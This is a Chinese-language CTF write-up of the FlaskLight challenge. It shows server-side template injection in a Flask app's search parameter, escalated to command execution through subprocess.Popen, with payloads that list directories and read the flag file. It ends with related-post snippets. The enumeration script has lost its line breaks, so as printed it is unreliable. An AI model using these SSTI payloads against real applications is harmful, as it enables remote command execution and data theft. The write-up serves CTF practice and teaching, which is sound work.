ssti练习之[CSCCTF 2019 Qual]FlaskLight 1

[CSCCTF 2019 Qual]FlaskLight 1

查看网页源代码，发现里面的提示

尝试输入url

http://e1f8bf68-fab7-482f-901b-12c336d1cdeb.node3.buuoj.cn/?search={{1*9}}

成功回显，说明存在ssti注入
使用{{’’.class.mro[2].subclasses()}}，可以爆出object类中所有子类，找出subprocess.Popen，copy大佬额exp。

import requests
import re
import html
import timeindex = 0
for i in range(170, 1000):try:url = "http://xxxx/?search={{''.__class__.__mro__[2].__subclasses__()[" + str(i) + "]}}"r = requests.get(url)res = re.findall("<h2>You searched for:<\/h2>\W+<h3>(.*)<\/h3>", r.text)time.sleep(0.1)# print(res)# print(r.text)res = html.unescape(res[0])print(str(i) + " | " + res)if "subprocess.Popen" in res:index = ibreakexcept:continue
print("indexo of subprocess.Popen:" + str(index))

得到了subprocess.Popen的下表为258。
列出所有目录文件

?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()[0].strip()}}

查找flasklight目录下的文件，发现疑似flag的文件

?search={{''.__class__.__mro__[2].__subclasses__()[258]('ls /flasklight',shell=True,stdout=-1).communicate()[0].strip()}}

读取文件coomme_geeeett_youur_flek文件

?search={{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}

成功获取flag

ssti练习之[CSCCTF 2019 Qual]FlaskLight 1相关推荐

一道[CSCCTF 2019 Qual]FlaskLight的详解再遇SSTI
目录 SSTI 无二次渲染的示例存在二次渲染的示例漏洞复现 [CSCCTF 2019 Qual]FlaskLight 做这道题的时候,再次深入了解了一下SSTI,不过发现去讲解这题原理的文章实在是 ...
[CSCCTF 2019 Qual] FlaskLight
信息收集 index大致就这样,没什么信息 F12看下,发现了线索:search参数试下ssti 基本就是ssti了漏洞利用 config 也是 Flask模版中的一个全局对象,它包含了所有应用程 ...
[CSCCTF 2019 Qual]FlaskLight——直取flag？
[CSCCTF 2019 Qual]FlaskLight 前言白天一直在上课,晚上赶快躲进图书馆里面打打靶场.这次的题目算是很简单的一道题目了,我做完之后还去看了看其他师傅写的博客,只能感叹一声太强 ...
BUUCTF：[CSCCTF 2019 Qual]FlaskLight
题目地址:https://buuoj.cn/challenges#[CSCCTF%202019%20Qual]FlaskLight ?search={{7*7}} #通过回显判断SSTI ?searc ...
[CSCCTF 2019 Qual]FlaskLight SSTI注入
进去后页面提示你是flask框架,f12里面告诉你参数名字叫做search并且用GET方法传输,十有八九是模块注入了,用7*7试试服务端模板注入攻击 - 知乎可以发现在searched后面输出了49 ...
[CSCCTF 2019 Qual]FlaskLight 记录
这个根据题目名字,flask模板注入,找注入点查看源码发现GET传参直接测试模板注入常规模板注入试了试之前做过的模板注入,都行不通然后百度了一波,原来这是python2的难怪不行 {{'' ...
buu(ssti模板注入、ssrf服务器请求伪造)
目录目录 [CISCN2019 华东南赛区]Web11 [BJDCTF2020]EasySearch [De1CTF 2019]SSRF Me [CSCCTF 2019 Qual]FlaskLigh ...
[BUU刷题记录]day01-起步
BUU-WEB 这是一个菜鸡的蜕变先小记录一下题目环境部署必备的docker安装 sudo apt-get remove docker docker-engine docker.io contain ...
BUUCTF-模板注入专项刷题
SSTI: 目录简单 [CSCCTF 2019 Qual]FlaskLight 签到 [BJDCTF2020]Cookie is so stable twig模板注入 [WesternCTF2018 ...

ssti练习之[CSCCTF 2019 Qual]FlaskLight 1

[CSCCTF 2019 Qual]FlaskLight 1

ssti练习之[CSCCTF 2019 Qual]FlaskLight 1相关推荐

最新文章

热门文章